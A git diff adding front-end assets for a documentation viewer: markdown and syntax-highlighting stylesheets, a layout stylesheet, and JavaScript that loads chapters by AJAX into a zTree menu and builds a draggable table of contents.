"Trebuchet MS", "Monaco", monospace, Tahoma, STXihei, "华文细黑", STHeiti, "Helvetica Neue", "Droid Sans", "wenquanyi micro hei", FreeSans, Arimo, Arial, SimSun, "宋体", Heiti, "黑体", sans-serif; + font-size: 16px; + line-height: 1.6; + word-wrap: break-word; + padding: 1em; +} + +.markdown-body * { + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.markdown-body a { + background: transparent; + color: #01AAED; + text-decoration: none; +} + +.markdown-body h1>a, +.markdown-body h2>a, +.markdown-body h3>a, +.markdown-body h4>a, +.markdown-body h5>a, +.markdown-body h6>a { + color: inherit; +} + +.markdown-body a:active, +.markdown-body a:hover { + outline: 0; + text-decoration: underline; +} + +.markdown-body strong { + font-weight: bold; +} + +.markdown-body img { + border: 0; + max-width: 100%; +} + +.markdown-body hr { + -moz-box-sizing: content-box; + box-sizing: content-box; + height: 0; +} + +.markdown-body code, +.markdown-body kbd { + font-family: inherit; + font-size: 1em; +} + +.markdown-body input { + color: inherit; + font: inherit; + margin: 0; +} + +.markdown-body html input[disabled] { + cursor: default; +} + +.markdown-body input { + line-height: normal; +} + +.markdown-body input[type="checkbox"] { + padding: 0; +} + +.markdown-body input { + font: 13px/1.4 Helvetica, arial, freesans, clean, sans-serif, "Segoe UI Emoji", "Segoe UI Symbol"; +} + +.markdown-body hr { + height: 0; + margin: 15px 0; + overflow: hidden; + background: transparent; + border: 0; + border-bottom: 1px solid #ddd; +} + +.markdown-body hr:before { + display: table; + content: ""; +} + +.markdown-body hr:after { + display: table; + clear: both; + content: ""; +} + +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4, +.markdown-body h5, +.markdown-body h6 { + position: relative; + margin-top: 1em; + margin-bottom: 16px; + font-weight: bold; +} + +.markdown-body h1 { + font-size: 2.25em; + border-bottom: 1px solid #eee; + text-align: center; + margin-top: 0; +} + +.markdown-body h2 { + padding-bottom: 0.3em; + font-size: 1.75em; + line-height: 1.225; + border-bottom: 1px solid #eee; +} + +.markdown-body h3 { + font-size: 1.5em; + line-height: 1.43; +} + +.markdown-body h4 { + font-size: 1.25em; +} + +.markdown-body h5 { + font-size: 1em; +} + +.markdown-body h6 { + font-size: 1em; + color: #777; +} + +.markdown-body ul, +.markdown-body ol { + padding: 0; + margin-top: 0; + margin-bottom: 0; + padding-left: 2em; +} + +.markdown-body ol ol, +.markdown-body ul ol { + list-style-type: lower-roman; +} + +.markdown-body ul ul ol, +.markdown-body ul ol ol, +.markdown-body ol ul ol, +.markdown-body ol ol ol { + list-style-type: lower-alpha; +} + +.markdown-body dd { + margin-left: 0; +} + +.markdown-body .octicon { + font: normal normal 16px octicons-anchor; + line-height: 1; + display: inline-block; + text-decoration: none; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.markdown-body .octicon-link:before { + content: '\f05c'; +} + +.markdown-body>*:first-child { + margin-top: 0 !important; +} + +.markdown-body>*:last-child { + margin-bottom: 0 !important; +} + +.markdown-body .anchor { + position: absolute; + top: 0; + left: 0; + display: block; + padding-right: 6px; + padding-left: 30px; + margin-left: -30px; +} + +.markdown-body .anchor:focus { + outline: none; +} + +.markdown-body h1 .octicon-link, +.markdown-body h2 .octicon-link, +.markdown-body h3 .octicon-link, +.markdown-body h4 .octicon-link, +.markdown-body h5 .octicon-link, +.markdown-body h6 .octicon-link { + display: none; + color: #000; + vertical-align: middle; +} + +.markdown-body h1:hover .anchor, +.markdown-body h2:hover .anchor, +.markdown-body h3:hover .anchor, +.markdown-body h4:hover .anchor, +.markdown-body h5:hover .anchor, +.markdown-body h6:hover .anchor { + padding-left: 8px; + margin-left: -30px; + text-decoration: none; +} + +.markdown-body h1:hover .anchor .octicon-link, +.markdown-body h2:hover .anchor .octicon-link, +.markdown-body h3:hover .anchor .octicon-link, +.markdown-body h4:hover .anchor .octicon-link, +.markdown-body h5:hover .anchor .octicon-link, +.markdown-body h6:hover .anchor .octicon-link { + display: inline-block; +} + +.markdown-body h1 .anchor { + line-height: 1; +} + +.markdown-body h2 .anchor { + line-height: 1; +} + +.markdown-body h3 .anchor { + line-height: 1.2; +} + + +.markdown-body h4 .anchor { + line-height: 1.2; +} + +.markdown-body h5 .anchor { + line-height: 1.1; +} + +.markdown-body h6 .anchor { + line-height: 1.1; +} + +.markdown-body p, +.markdown-body ul, +.markdown-body ol, +.markdown-body dl { + margin-top: 0; + margin-bottom: 16px; +} + +.markdown-body ul ul, +.markdown-body ul ol, +.markdown-body ol ol, +.markdown-body ol ul { + margin-top: 0; + margin-bottom: 0; +} + +.markdown-body li>p { + margin-top: 16px; +} + +.markdown-body dl { + padding: 0; +} + +.markdown-body dl dt { + padding: 0; + margin-top: 16px; + font-size: 1em; + font-style: italic; + font-weight: bold; +} + +.markdown-body dl dd { + padding: 0 16px; + margin-bottom: 16px; +} + +.markdown-body code { + padding: 0.2em; + margin: 0; + border-radius: 3px; + color: #FF5722; +} + +.markdown-body code:before, +.markdown-body code:after { + letter-spacing: -0.2em; + content: "\00a0"; +} + +.syntaxhighlighter code:before, +.syntaxhighlighter code:after { + content: ""; +} + +.markdown-body .highlight { + margin-bottom: 16px; +} + +.markdown-body kbd { + display: inline-block; + padding: 3px 5px; + font: 11px Consolas, "Liberation Mono", Menlo, Courier, monospace; + line-height: 10px; + color: #555; + vertical-align: middle; + background-color: #fcfcfc; + border: solid 1px #ccc; + border-bottom-color: #bbb; + border-radius: 3px; + box-shadow: inset 0 -1px 0 #bbb; +} + +.markdown-body .pl-c { + color: #969896; +} + +.markdown-body .pl-c1, +.markdown-body .pl-mdh, +.markdown-body .pl-mm, +.markdown-body .pl-mp, +.markdown-body .pl-mr, +.markdown-body .pl-s1 .pl-v, +.markdown-body .pl-s3, +.markdown-body .pl-sc, +.markdown-body .pl-sv { + color: #0086b3; +} + +.markdown-body .pl-e, +.markdown-body .pl-en { + color: #795da3; +} + +.markdown-body .pl-s1 .pl-s2, +.markdown-body .pl-smi, +.markdown-body .pl-smp, +.markdown-body .pl-stj, +.markdown-body .pl-vo, +.markdown-body .pl-vpf { + color: #333; +} + +.markdown-body .pl-ent { + color: #63a35c; +} + +.markdown-body .pl-k, +.markdown-body .pl-s, +.markdown-body .pl-st { + color: #a71d5d; +} + +.markdown-body .pl-pds, +.markdown-body .pl-s1, +.markdown-body .pl-s1 .pl-pse .pl-s2, +.markdown-body .pl-sr, +.markdown-body .pl-sr .pl-cce, +.markdown-body .pl-sr .pl-sra, +.markdown-body .pl-sr .pl-sre, +.markdown-body .pl-src { + color: #df5000; +} + +.markdown-body .pl-mo, +.markdown-body .pl-v { + color: #1d3e81; +} + +.markdown-body .pl-id { + color: #b52a1d; +} + +.markdown-body .pl-ii { + background-color: #b52a1d; + color: #f8f8f8; +} + +.markdown-body .pl-sr .pl-cce { + color: #63a35c; + font-weight: bold; +} + +.markdown-body .pl-ml { + color: #693a17; +} + +.markdown-body .pl-mh, +.markdown-body .pl-mh .pl-en, +.markdown-body .pl-ms { + color: #1d3e81; + font-weight: bold; +} + +.markdown-body .pl-mq { + color: #008080; +} + +.markdown-body .pl-mi { + color: #333; + font-style: italic; +} + +.markdown-body .pl-mb { + color: #333; + font-weight: bold; +} + +.markdown-body .pl-md, +.markdown-body .pl-mdhf { + background-color: #ffecec; + color: #bd2c00; +} + +.markdown-body .pl-mdht, +.markdown-body .pl-mi1 { + background-color: #eaffea; + color: #55a532; +} + +.markdown-body .pl-mdr { + color: #795da3; + font-weight: bold; +} + +.markdown-body .task-list-item { + list-style-type: none; +} + +.markdown-body .task-list-item+.task-list-item { + margin-top: 3px; +} + +.markdown-body .task-list-item input { + float: left; + margin: 0.3em 0 0.25em -1.6em; + vertical-align: middle; +} + +.markdown-body :checked+.radio-label { + z-index: 1; + position: relative; + border-color: #4183c4; +} + +.markdown-body .editormd-toc-menu ul { + padding-left: 0; +} + +.markdown-body th { + font-weight: bold; +} + +.syntaxhighlighter a, +.syntaxhighlighter div, +.syntaxhighlighter code, +.syntaxhighlighter, +.syntaxhighlighter td, +.syntaxhighlighter tr, +.syntaxhighlighter tbody, +.syntaxhighlighter thead, +.syntaxhighlighter caption, +.syntaxhighlighter textarea { + font-family: Menlo, Monaco, Menlo, Consolas, source-code-pro, "Liberation Mono", "Ubuntu Mono", Courier, "Helvetica Neue", "Microsoft Yahei", 微软雅黑, "Lantinghei SC", STXihei, WenQuanYi, sans-serif; + font-size: 14px !important; + line-height: 1.625em !important; +} + +.syntaxhighlighter { + margin: 1.625em 0 !important; + background-color: #fafafa !important; +} + +.syntaxhighlighter textarea { + height: 100%; +} + +.layui-elem-quote { + border-color: #5FB878; + background-color: #fafafa; +} + +.layui-elem-quote>p:last-child { + margin-bottom: 0; +} + +li { + list-style: inherit; + margin-bottom: 12px; +} + +.syntaxhighlighter .gutter { + color: #237893 !important; +} + +.syntaxhighlighter .plain, +.syntaxhighlighter .plain a { + word-break: break-all; + color: #333 !important +} + +.syntaxhighlighter .comments, +.syntaxhighlighter .comments a { + color: gray !important; +} + +.syntaxhighlighter .string, +.syntaxhighlighter .string a { + color: #10893E !important +} + +.syntaxhighlighter .keyword { + color: #ff7800 !important +} + +.syntaxhighlighter .variable { + color: #1E9FFF !important +} + +.syntaxhighlighter .functions { + color: #FF5722 !important +} + +.syntaxhighlighter .constants { + color: #5200FF !important +} + +#article-content { + position: relative; +} + +#article-content li { + list-style: inherit; +} + +#content-toc-wrap { + width: 16em; + position: fixed; + right: 2em; + z-index: 99; + border: 1px solid #dbdbdb; + background-color: rgba(255, 255, 255, 0.618); + backdrop-filter: blur(4px); +} + +#content-toc { + overflow: auto; +} + +#content-toc ol { + overflow: auto; +} + +#content-toc>ol { + padding: 0.6em; + margin: 0; +} + +#content-toc li { + line-height: 28px; + overflow: hidden; + white-space: nowrap; + text-overflow: ellipsis; + width: 100%; + float: left; + margin-bottom: 0; +} + +#content-toc a { + color: #333; +} + +#content-toc a:hover { + color: #5FB878; + text-decoration: none; +} + +.content-toc-title { + margin-bottom: 0 !important; + border-bottom: 1px solid #dbdbdb; + padding: 0.5em; + font-weight: bold; + cursor: move; +} + +@media screen and (max-width: 768px) { + #content-toc-wrap { + display: none; + } +} \ No newline at end of file diff --git a/assets/doc/css/shCoreDefault.css b/assets/doc/css/shCoreDefault.css new file mode 100644 index 0000000..e156a6f --- /dev/null +++ b/assets/doc/css/shCoreDefault.css @@ -0,0 +1 @@ +.syntaxhighlighter a,.syntaxhighlighter div,.syntaxhighlighter code,.syntaxhighlighter,.syntaxhighlighter td,.syntaxhighlighter tr,.syntaxhighlighter tbody,.syntaxhighlighter thead,.syntaxhighlighter caption,.syntaxhighlighter textarea{-moz-border-radius:0 0 0 0!important;-webkit-border-radius:0 0 0 0!important;background:none!important;border:0!important;bottom:auto!important;float:none!important;left:auto!important;line-height:1.1em!important;margin:0!important;outline:0!important;overflow:visible!important;padding:0!important;position:static!important;right:auto!important;text-align:left!important;top:auto!important;vertical-align:baseline!important;width:auto!important;box-sizing:content-box!important;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-weight:normal!important;font-style:normal!important;min-height:inherit!important;min-height:auto!important;font-size:13px!important}.syntaxhighlighter{width:100%!important;margin:.3em 0 .3em 0!important;position:relative!important;overflow:auto!important;background-color:#f5f5f5!important;border:1px solid #ccc!important;border-radius:4px!important;border-collapse:separate!important}.syntaxhighlighter.source{overflow:hidden!important}.syntaxhighlighter .bold{font-weight:bold!important}.syntaxhighlighter .italic{font-style:italic!important}.syntaxhighlighter .gutter div{white-space:pre!important;word-wrap:normal}.syntaxhighlighter caption{text-align:left!important;padding:.5em 0 .5em 1em!important}.syntaxhighlighter td.code{width:100%!important}.syntaxhighlighter td.code .container{position:relative!important}.syntaxhighlighter td.code .container textarea{box-sizing:border-box!important;position:absolute!important;left:0!important;top:0!important;width:100%!important;border:none!important;background:white!important;padding-left:1em!important;overflow:hidden!important;white-space:pre!important}.syntaxhighlighter td.gutter .line{text-align:right!important;padding:0 .5em 0 1em!important}.syntaxhighlighter td.code .line{padding:0 1em!important}.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0!important}.syntaxhighlighter.show{display:block!important}.syntaxhighlighter.collapsed table{display:none!important}.syntaxhighlighter.collapsed .toolbar{padding:.1em .8em 0 .8em!important;font-size:1em!important;position:static!important;width:auto!important}.syntaxhighlighter.collapsed .toolbar span{display:inline!important;margin-right:1em!important}.syntaxhighlighter.collapsed .toolbar span a{padding:0!important;display:none!important}.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline!important}.syntaxhighlighter .toolbar{position:absolute!important;right:1px!important;top:1px!important;width:11px!important;height:11px!important;font-size:10px!important;z-index:10!important}.syntaxhighlighter .toolbar span.title{display:inline!important}.syntaxhighlighter .toolbar a{display:block!important;text-align:center!important;text-decoration:none!important;padding-top:1px!important}.syntaxhighlighter .toolbar a.expandSource{display:none!important}.syntaxhighlighter.ie{font-size:.9em!important;padding:1px 0 1px 0!important}.syntaxhighlighter.ie .toolbar{line-height:8px!important}.syntaxhighlighter.ie .toolbar a{padding-top:0!important}.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none!important}.syntaxhighlighter.printing .line .number{color:#bbb!important}.syntaxhighlighter.printing .line .content{color:black!important}.syntaxhighlighter.printing .toolbar{display:none!important}.syntaxhighlighter.printing a{text-decoration:none!important}.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black!important}.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200!important}.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue!important}.syntaxhighlighter.printing .keyword{color:#ff7800!important;font-weight:bold!important}.syntaxhighlighter.printing .preprocessor{color:gray!important}.syntaxhighlighter.printing .variable{color:#a70!important}.syntaxhighlighter.printing .value{color:#090!important}.syntaxhighlighter.printing .functions{color:#ff1493!important}.syntaxhighlighter.printing .constants{color:#06c!important}.syntaxhighlighter.printing .script{font-weight:bold!important}.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray!important}.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493!important}.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red!important}.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black!important}.syntaxhighlighter{background-color:#f5f5f5!important}.syntaxhighlighter .line.highlighted.number{color:black!important}.syntaxhighlighter caption{color:black!important}.syntaxhighlighter .gutter{color:#afafaf!important;background-color:#f7f7f9!important;border-right:1px solid #e1e1e8!important;padding:9.5px 0 9.5px 9.5px!important;border-top-left-radius:4px!important;border-bottom-left-radius:4px!important;user-select:none!important;-moz-user-select:none!important;-webkit-user-select:none!important}.syntaxhighlighter .gutter .line.highlighted{background-color:#6ce26c!important;color:white!important}.syntaxhighlighter.printing .line .content{border:none!important}.syntaxhighlighter.collapsed{overflow:visible!important}.syntaxhighlighter.collapsed .toolbar{color:blue!important;background:white!important;border:1px solid #6ce26c!important}.syntaxhighlighter.collapsed .toolbar a{color:blue!important}.syntaxhighlighter.collapsed .toolbar a:hover{color:red!important}.syntaxhighlighter .toolbar{color:white!important;background:#6ce26c!important;border:none!important}.syntaxhighlighter .toolbar a{color:white!important}.syntaxhighlighter .toolbar a:hover{color:black!important}.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black!important}.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#008200!important}.syntaxhighlighter .string,.syntaxhighlighter .string a{color:blue!important}.syntaxhighlighter .keyword{color:#ff7800!important}.syntaxhighlighter .preprocessor{color:gray!important}.syntaxhighlighter .variable{color:#a70!important}.syntaxhighlighter .value{color:#090!important}.syntaxhighlighter .functions{color:#ff1493!important}.syntaxhighlighter .constants{color:#06c!important}.syntaxhighlighter .script{font-weight:bold!important;color:#ff7800!important;background-color:none!important}.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray!important}.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493!important}.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red!important}.syntaxhighlighter .keyword{font-weight:bold!important} \ No newline at end of file diff --git a/assets/doc/css/style.css b/assets/doc/css/style.css new file mode 100644 index 0000000..8b78965 --- /dev/null +++ b/assets/doc/css/style.css @@ -0,0 +1,348 @@ +/* 设置滚动条的样式 */ +::-webkit-scrollbar { + width: 6px; +} + +/* 滚动槽 */ +::-webkit-scrollbar-track { + -webkit-box-shadow: inset006pxrgba(0, 0, 0, 0.3); + border-radius: 8px; +} + +/* 滚动条滑块 */ +::-webkit-scrollbar-thumb { + border-radius: 8px; + background: #5FB878; + -webkit-box-shadow: inset006pxrgba(0, 0, 0, 0.5); +} + +::-webkit-scrollbar-thumb:window-inactive { + background: #5FB878; +} + +.clear { + clear: both; +} + +.center { + text-align: center; +} + +.pull-left { + float: left !important; +} + +.pull-right { + float: right !important; +} + +#mask { + top: 0; + left: 0; + width: 100%; + height: 100%; + position: absolute; + background-color: rgba(0, 0, 0, 0.382); + display: none; +} + +#navbar { + background-color: #393D49; + background: -webkit-gradient(left top, right top, color-stop(0%, #70e1f5), color-stop(100%, #FFD194)); + background: -webkit-linear-gradient(left, #70e1f5 0%, #FFD194 100%); + background: -o-linear-gradient(left, #70e1f5 0%, #FFD194 100%); + background: -ms-linear-gradient(left, #70e1f5 0%, #FFD194 100%); + background: -webkit-gradient(linear, left top, right top, from(#70e1f5), to(#FFD194)); + background: linear-gradient(200deg, #70e1f5, #ffd194); + height: 48px; + position: fixed; + right: 0; + left: 0; + z-index: 1000; +} + +#navbar .bg-blur { + background-color: rgba(255, 255, 255, 0.618); + backdrop-filter: blur(4px); + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.10); + line-height: 48px; + height: 48px; + position: relative; +} + +#navbar .navbar-body { + top: 0; + position: absolute; + width: 100%; + padding: 0 1em; +} + +#navbar .navbar-body>.layui-nav .layui-nav-more { + border-top-color: #333; +} + +#navbar .navbar-body>.layui-nav .layui-nav-mored { + border-top-color: transparent; + border-bottom-color: #333; +} + +#navbar .layui-nav { + border-radius: 0; +} + +.layui-nav .layui-nav-item { + line-height: 48px; +} + +#navbar .logo { + float: left; + font-size: 1.5rem; + color: #333; + line-height: 42px; +} + +#navbar .logo>img { + height: 42px; +} + +.layui-nav .layui-nav-item a, +.layui-nav .layui-nav-item a:hover, +.layui-nav .layui-this a { + color: #333; +} + +#leftbar { + width: 300px; + top: 48px; + border-radius: 0; + transition: left 0.5s ease; + -webkit-transition: left 0.5s ease; + -moz-transition: left 0.5s ease; + -ms-transition: left 0.5s ease; + -o-transition: left 0.5s ease; + overflow-x: visible; + border-right: 1px solid #eee; + background-color: #fafafa; +} + +#leftbar .layui-tab-content { + padding: 12px 2px 0 0; + overflow-y: auto; + position: relative; + box-sizing: border-box; +} + +#leftbar .copyright { + color: #fff; + text-align: center; + line-height: 24px; + background: rgba(255, 255, 255, 0.1); +} + +#leftbar .copyright.noScroll { + bottom: 0; + position: absolute; + width: 100%; +} + +#leftbar>li>a>i.layui-icon { + font-size: 1.625rem; + vertical-align: top; + margin-right: 10px; +} + +#leftbar>li>dl>dd>a>i.layui-icon { + font-size: 1.125rem; + vertical-align: top; + margin-right: 10px; +} + +#leftbar>li>dl>dd>a { + padding-left: 30px; +} + +.left-show-hide { + position: absolute; + top: 50%; + left: 100%; + transform: translateY(-100%); + padding: 0; + height: 64px; + width: 18px; + background-color: #393D49; + color: #F0F0F0; + border: none; + border-radius: 0; + opacity: 1; + display: none; +} + +.left-show-hide:hover { + color: #333; +} + +.left-show-hide>.layui-icon { + font-size: 14px; +} + +#body { + padding-left: 300px; + width: 100%; + padding-top: 48px; + position: absolute; + transition: left 0.5s ease; + -webkit-transition: left 0.5s ease; + -moz-transition: left 0.5s ease; + -ms-transition: left 0.5s ease; + -o-transition: left 0.5s ease; + height: 100%; + box-sizing: border-box; + top: 0; +} + +.navRight { + float: right; +} + +#navMenuLeft, +#navMenuRight { + display: none; + color: #333; + line-height: 48px; +} + +#navMenuLeft { + float: left; +} + +#navMenuRight { + float: right; +} + +#navMenuLeft.active>i, +#navMenuRight.active>i { + color: #5FB878 +} + +#navMenuLeft>i, +#navMenuRight>i { + font-size: 1.625rem; +} + +.inputBox { + position: relative; +} + +.inputBox .input-icon { + position: absolute; + top: 50%; + transform: translateY(-50%); + right: 6px; + color: #c2c2c2; + pointer-events: none; +} + +.inputBox .layui-input:focus+.input-icon { + color: #000 +} + +#treeSearch>li { + padding: 0 4px 10px 6px; + border-bottom: 1px solid #e6e6e6; + line-height: 24px; + word-break: break-word; + margin-bottom: 0; +} + +#treeSearch h3 { + font-weight: bold; + line-height: 48px; +} + +#treeSearch strong { + color: #FF5722; +} + +@media screen and (max-width: 768px) { + #mask { + display: block; + } + + #leftbar { + left: -300px !important; + } + + #leftbar.show-item { + left: 0 !important; + } + + #navbar { + text-align: center; + } + + #navbar .logo { + float: none; + margin-left: 0; + display: inline-block; + } + + #navbar .layui-nav { + top: -180px; + /* 要根据导航栏项目数量调整 */ + position: absolute; + width: 100%; + left: 0; + transition: top 0.5s ease; + -webkit-transition: top 0.5s ease; + -moz-transition: top 0.5s ease; + -ms-transition: top 0.5s ease; + -o-transition: top 0.5s ease; + z-index: 999; + background-color: #fff; + } + + #navbar .navbar-body { + padding: 0; + } + + #navbar .bg-blur { + z-index: 1000; + } + + #navMenuLeft, + #navMenuRight { + display: block; + } + + #body { + padding-left: 0 + } + + #navbar .navbar-body>.layui-nav.show-item { + top: 48px; + } + + #navbar .navbar-body>.layui-nav>.navRight { + width: 100%; + } + + #navbar .navbar-body>.layui-nav>.navRight .layui-nav-item { + width: 100%; + text-align: left; + } + + .nav-menu { + z-index: 1000; + background: inherit; + position: absolute; + top: 0; + left: 0; + width: 100%; + padding: 0 10px; + box-sizing: border-box; + } + + .left-show-hide { + display: none !important; + } +} \ No newline at end of file diff --git a/assets/doc/images/left_menuForOutLook.gif b/assets/doc/images/left_menuForOutLook.gif new file mode 100644 index 0000000..c252f0f Binary files /dev/null and b/assets/doc/images/left_menuForOutLook.gif differ diff --git a/assets/doc/images/left_menuForOutLook.png b/assets/doc/images/left_menuForOutLook.png new file mode 100644 index 0000000..36e8acf Binary files /dev/null and b/assets/doc/images/left_menuForOutLook.png differ diff --git a/assets/doc/js/docView.js b/assets/doc/js/docView.js new file mode 100644 index 0000000..0aa5168 --- /dev/null +++ b/assets/doc/js/docView.js @@ -0,0 +1,277 @@ +var curMenu = null, menuTree = null; +var ajaxSetting = { + edit: { + drag: { + autoExpandTrigger: true, + prev: true, + inner: true, + next: true + }, + enable: true, + showRemoveBtn: false, + showRenameBtn: false + }, + view: { + showLine: false, + showIcon: false, + selectedMulti: false, + dblClickExpand: false, + addDiyDom: addDiyDom + }, + data: { + key: { + name: 'title', + children: null, + }, + simpleData: { + enable: true, + idKey: "id", + pIdKey: 'parent_id', + rootPId: 0, + } + }, + callback: { + onClick: onClick, + }, +}; +var loadingHandler; +function switchNode(event, treeId, treeNode) { + if ('pushState' in history) { + history.pushState('', '', treeNode.url); + getChapter(treeNode.url); + } + else { + location = treeNode.url; + } + menuTree.expandNode(treeNode, true) + event.preventDefault() +} + +function getChapter(url) { + if (void 0 === url) { + return; + } + loadingHandler = layer.open({ + type: 3, + icon: 2, + shade: 0.1, + }); + $.ajax({ + method: 'GET', + url: url, + success: function (result) { + try { + var resultElement = $(result); + $('#article-content').html(resultElement.find('#article-content').html()); + onContentChange(); + var hash = location.hash; + if (hash.length > 0) { + location.hash = ''; + location.hash = hash; + } + else { + // 有时切换文档不在最上面 + $('#content_body').scrollTop(0) + } + } + catch (err) { + layer.alert('文档加载失败', { icon: 2 }); + } + }, + error: function () { + location = url; + }, + complete: function () { + layer.close(loadingHandler); + }, + }); +} + +function addDiyDom(treeId, treeNode) { + var spaceWidth = 5; + var switchObj = $("#" + treeNode.tId + "_switch"), + icoObj = $("#" + treeNode.tId + "_ico"); + switchObj.remove(); + icoObj.before(switchObj); + + if (treeNode.level > 1) { + var spaceStr = ""; + switchObj.before(spaceStr); + } +} + +function initTree(data) { + for (var i in data) { + data[i].target = '_self'; + } + if (null === menuTree) { + var treeObj = $("#treeDirectory"); + $.fn.zTree.init(treeObj, ajaxSetting, data); + menuTree = $.fn.zTree.getZTreeObj("treeDirectory"); + var nodes = menuTree.getNodesByParam('url', location.pathname + location.hash, null); + if (nodes.length > 0) { + if (nodes.length > 1) { + if (menuTree.getSelectedNodes().length > 0) { + return; + } + } + menuTree.selectNode(nodes[0]); + } + else { + menuTree.selectNode(menuTree.getNodeByParam('id', currentCatalog.id, null)); + } + } +} + +function onClick(event, treeId, treeNode) { + // 未修改内容,直接切换 + switchNode(event, treeId, treeNode); + setTimeout(function () { + closeMenuLeft(); + }, 600); +} + +function parseLeftHeight() { + $('#leftbar .layui-tab-content').css('max-height', ($('#leftbar').height() - $('#leftbar .layui-tab-title').height() - $('#leftbar .copyright').height()) + 'px'); +} + +function onContentChange() { + $('#content-toc').css('max-height', ($(document).height() / 2) + 'px'); + hCatalog('#article-content', '#content-toc'); + var content = $('#article-content'); + content.find('blockquote').addClass('layui-elem-quote'); + content.find('table').addClass('layui-table'); + content.find('pre code').each(function (index, item) { + var pre = $(item).parent(); + var content = $(item).text(); + var brush = parseCodeBrush($(item).attr('class')); + var newPre = $('
    ').addClass('brush: ' + brush).addClass('toolbar: false').text(content);
    +		pre.replaceWith(newPre);
    +	});
    +	SyntaxHighlighter.highlight();
    +	//initSearchDatas();
    +	$('#content_body a').each(function () {
    +		var url = $(this).attr('href');
    +		if (void 0 !== url && '#' !== url.substr(0, 1) && 'http' === url.substr(0, 4)) {
    +			$(this).attr('target', '_blank');
    +		}
    +	})
    +	setTimeout(function () {
    +		resizeCode();
    +	}, 1)
    +}
    +
    +function parseCodeBrush(brush) {
    +	for (var i in SyntaxHighlighter.brushes) {
    +		if (SyntaxHighlighter.brushes[i].aliases.indexOf(brush) > -1) {
    +			return brush;
    +		}
    +	}
    +	return 'text';
    +}
    +
    +function resizeCode() {
    +	var guttelines = $('.gutter .line');
    +	var codelines = $('.code .line');
    +	for (var i = 0; i < guttelines.length; i++) {
    +		var codeline = codelines.eq(i);
    +		var height = codeline.css('height');
    +		guttelines.eq(i).css('height', height)
    +		codeline.css('height', height);
    +	}
    +}
    +
    +// 基于这里的代码做了修改: https://blog.csdn.net/weixin_57215431/article/details/115676752
    +function hCatalog(current, target) {
    +	var box = document.querySelector(target)
    +	if (!box) {
    +		return;
    +	}
    +	box.innerHTML = ''
    +	var titleTree = hTree(document.querySelector(current))
    +	hCreatEle(titleTree, box)
    +}
    +
    +function hCreatEle(arr, parent) {
    +	if (!arr.length) return
    +	var ol = document.createElement('ol')
    +	arr.forEach(function (item) {
    +		if ('' !== item.node.innerHTML) {
    +			var li = document.createElement('li')
    +			li.innerHTML = item.node.innerHTML
    +			hCreatEle(item.children, li)
    +			ol.appendChild(li)
    +		}
    +	})
    +	parent.appendChild(ol)
    +}
    +
    +function hTree(wrapNode) {
    +	var root = { children: [] }
    +	var current = root
    +
    +	for (var i = 0; i < wrapNode.children.length; ++i) {
    +		var item = wrapNode.children[i]
    +		if (item.localName.indexOf('h') === 0) {
    +			var obj = { node: item, children: [], parent: undefined }
    +			while (current !== root && current.node.localName[1] - obj.node.localName[1] !== -1) {
    +				current = current.parent
    +			}
    +			obj.parent = current
    +			obj.parent.children.push(obj)
    +			current = obj
    +		}
    +	}
    +	return root.children
    +}
    +
    +function initContentToc() {
    +	var isDown = false;
    +	var beginLeft = 0
    +	var beginTop = 0;
    +	var mouseBeginLeft = 0
    +	var mouseBeginTop = 0;
    +
    +	$(document).on('mousedown', '.content-toc-title', function (e) {
    +		var wrap = $('#content-toc-wrap');
    +		isDown = true;
    +		beginLeft = wrap[0].offsetLeft;
    +		beginTop = wrap[0].offsetTop;
    +		mouseBeginLeft = e.pageX;
    +		mouseBeginTop = e.pageY;
    +		e.preventDefault();
    +	});
    +
    +	$(document).on('mouseup', function () {
    +		isDown = false;
    +	});
    +
    +	$(document).on('mousemove', function (e) {
    +		if (isDown) {
    +			var wrap = $('#content-toc-wrap');
    +			wrap.css('left', (beginLeft + (e.pageX - mouseBeginLeft)) + 'px');
    +			wrap.css('top', (beginTop + (e.pageY - mouseBeginTop)) + 'px');
    +		}
    +	});
    +}
    +
    +$(function () {
    +	parseLeftHeight();
    +
    +	$(window).resize(function () {
    +		parseLeftHeight();
    +	});
    +
    +	$('body').on('click', '.ztree.showIcon li a span.button.switch', function (e) {
    +		return false;
    +	});
    +
    +	initContentToc();
    +
    +	SyntaxHighlighter.all();
    +	onContentChange();
    +})
    +
    +$(window).load(function () {
    +	$(window).resize(resizeCode);
    +});
    \ No newline at end of file
    diff --git a/assets/doc/js/home.js b/assets/doc/js/home.js
    new file mode 100644
    index 0000000..f9703a4
    --- /dev/null
    +++ b/assets/doc/js/home.js
    @@ -0,0 +1,10 @@
    +$.ajaxSetup({
    +	xhrFields: {
    +		withCredentials: true
    +	},
    +});
    +$(function(){
    +	layui.element.init();
    +	layui.table.init();
    +	layui.form.render();
    +});
    \ No newline at end of file
    diff --git a/assets/doc/js/shCore.min.js b/assets/doc/js/shCore.min.js
    new file mode 100644
    index 0000000..427e7ed
    --- /dev/null
    +++ b/assets/doc/js/shCore.min.js
    @@ -0,0 +1 @@
